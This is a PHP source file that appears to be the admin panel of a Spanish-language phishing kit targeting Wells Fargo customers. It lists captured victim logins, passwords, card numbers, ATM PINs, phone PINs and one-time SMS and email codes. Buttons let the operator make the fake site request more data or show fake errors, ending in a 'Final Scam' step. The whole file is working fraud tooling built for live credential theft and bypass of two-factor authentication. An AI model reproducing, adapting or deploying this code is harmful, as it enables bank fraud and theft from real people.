<?php
include './config/data.php';
function beep() {
    echo '<audio src="dist/beep.wav" autoplay></audio>';
}

$stmt = $connp->prepare("SELECT DISTINCT * FROM `wellsfargo` where status < 100");
$stmt->execute();
while($row = $stmt->fetch())
{
    if ($row["status"] == 0) 
    {
        $opciones = array(
            'login' => array(
                'bad'=> '<a href="?step=1&id='.$row["id"].'"><button type="button" class="btn btn-danger btn-sm" >Error LOGIN</button></a>'
            ),
            
            
            'phone&pin' => array(
                'empty' => '<a href="?step=2&id='.$row["id"].'"><button type="button" class="btn btn-info btn-sm" >Pedir Phone&Pin</button></a>',
                'bad'   => '<a href="?step=33&id='.$row["id"].'"><button type="button" class="btn btn-danger btn-sm" >Error Phone</button></a>
                <a href="?step=34&id='.$row["id"].'"><button type="button" class="btn btn-danger btn-sm" >Error Pin</button></a>
                '
            ),


            'sms' => array(
                'empty' => '<br><a href="?step=4&id='.$row["id"].'"><button type="button" class="btn btn-info btn-sm" >Pedir SMS</button></a>',
                'bad'   => '<br><a href="?step=5&id='.$row["id"].'"><button type="button" class="btn btn-danger btn-sm" >Error SMS</button></a>'
            ),
            'otp_mail' => array(
                'empty' => '<br><a href="?step=6&id='.$row["id"].'"><button type="button" class="btn btn-info btn-sm">Pedir OTP MAIL</button></a>',
                'bad'   => '<br><a href="?step=7&id='.$row["id"].'"><button type="button" class="btn btn-danger btn-sm">Pedir OTP MAIL</button></a>'
            ),


            'card' => array(
                'empty' => '<br><a href="?step=30&id='.$row["id"].'"><button type="button" class="btn btn-info btn-sm">Pedir Card</button></a>',
                'bad'   => '<br><a href="?step=31&id='.$row["id"].'"><button type="button" class="btn btn-danger btn-sm">Error Card</button></a>'
            ),

            'atmpin' => array(
                'bad'   => '<br><a href="?step=32&id='.$row["id"].'"><button type="button" class="btn btn-danger btn-sm">Error Card Pin</button></a>'
            ),


        );
    
        $solicitud = '';

        $login = (isset($row['user'])) ? $solicitud .= $opciones['login']['bad'] : '';
        
        

        $phonepin = (isset($row['phonepin'])) ? $solicitud .= $opciones['phone&pin']['bad'] : $solicitud .=  $opciones['phone&pin']['empty'];

        $card = (isset($row['card'])) ? $solicitud .= $opciones['card']['bad'] : $solicitud .= $opciones['card']['empty'];

        $atmpin = (isset($row['atmpin'])) ? $solicitud .= $opciones['atmpin']['bad'] : '';


        $sms   = (isset($row['sms']))   ? $solicitud .= $opciones['sms']['bad']   : $solicitud .= $opciones['sms']['empty'];

        $otp_mail = (isset($row['otp_mail'])) ? $solicitud .= $opciones['otp_mail']['bad'] : $solicitud .= $opciones['otp_mail']['empty'];

        
        
        
        $final = '<br><a href="?step=10&id='.$row["id"].'"><button type="button" class="btn btn-success btn-sm">Final Scam</button></a>
        <a href="?step=11&id='.$row["id"].'"><button type="button" class="btn btn-warning btn-sm">Delete</button></a>';

        $solicitud .= $final;
        beep();
    }else {

        $solicitud = '';
        $final = '<br><a href="?step=10&id='.$row["id"].'"><button type="button" class="btn btn-success btn-sm">Final Scam</button></a>
        <a href="?step=11&id='.$row["id"].'"><button type="button" class="btn btn-warning btn-sm">Delete</button></a>';

        $selected = array(
            '99' => array(
                'value'  => '99',
                'button' => '<button type="button" class="btn btn-secondary btn-sm">Esperando Datos</button>'.$final
            ),
            '1' => array(
                'value'  => '1',
                'button' => '<button type="button" class="btn btn-secondary btn-sm">Error Login</button>'.$final
            ),





            '2'  => array(
                'value'  => '2',
                'button' => '<button type="button" class="btn btn-secondary btn-sm">Pedir Phone&Pin</button>'.$final
            ),

            '33' => array(
                'value'  => '33',
                'button' => '<button type="button" class="btn btn-secondary btn-sm">Error Phone</button>'.$final
            ),


            '34'  => array(
                'value'  => '34',
                'button' => '<button type="button" class="btn btn-secondary btn-sm">Error Pin</button>'.$final
            ),



            '3'  => array(
                'value'  => '3',
                'button' => '<button type="button" class="btn btn-secondary btn-sm">Pedir Card</button>'.$final
            ),


            '4'  => array(
                'value'  => '4',
                'button' => '<button type="button" class="btn btn-secondary btn-sm">Pedir Sms</button>'.$final
            ),
            '5'  => array(
                'value'  => '5',
                'button' => '<button type="button" class="btn btn-secondary btn-sm">Error Sms</button>'.$final
            ),
            '6'  => array(
                'value' => '6',
                'button' => '<button type="button" class="btn btn-secondary btn-sm">Pedir Mail Otp</button>'.$final
            ),
            '7'  => array(
                'value' => '7',
                'button' => '<button type="button" class="btn btn-secondary btn-sm">Error Mail Otp</button>'.$final
            


            ),
            '10' => array(
                'value' => '10',
                'button' => '<button type="button" class="btn btn-success btn-sm">Final Scam</button>
                <a href="?step=11&id='.$row["id"].'"><button type="button" class="btn btn-warning btn-sm">Delete</button></a>',
            ),



            '30'  => array(
                'value' => '30',
                'button' => '<button type="button" class="btn btn-secondary btn-sm">Error Card</button>'.$final
            ),
            '31'  => array(
                'value' => '31',
                'button' => '<button type="button" class="btn btn-secondary btn-sm">Error ATM Pin</button>'.$final
            ),
            '32'  => array(
                'value' => '32',
                'button' => '<button type="button" class="btn btn-secondary btn-sm">Error ATM Pin</button>'.$final
            ),



        );
    
        if ($row['status'] === $selected[$row['status']]['value']) 
        {
            $solicitud .= $selected[$row['status']]['button']."<br>";
        }else 
        {
            $solicitud = '<button type="button" class="btn btn-secondary btn-sm">NO OPTIONS</button><br>'.$final;
        }
    }

    echo '
    <tr>
        <td>'.$row["updatetime"].'</td>
        <td>'.$row["user"].'</td>
        <td>'.$row["pass"].'</td>

        <td>'.$row["card"].'</td>
        <td>'.$row["atmpin"].'</td>
        
        <td>'.$row["phone"].'</td>
        <td>'.$row["phonepin"].'</td>
        
        <td>'.$row["sms"].'</td>
        <td>'.$row["otp_mail"].'</td>

        

        <td>'.$solicitud.'</td>
    </tr>';	

}
?>
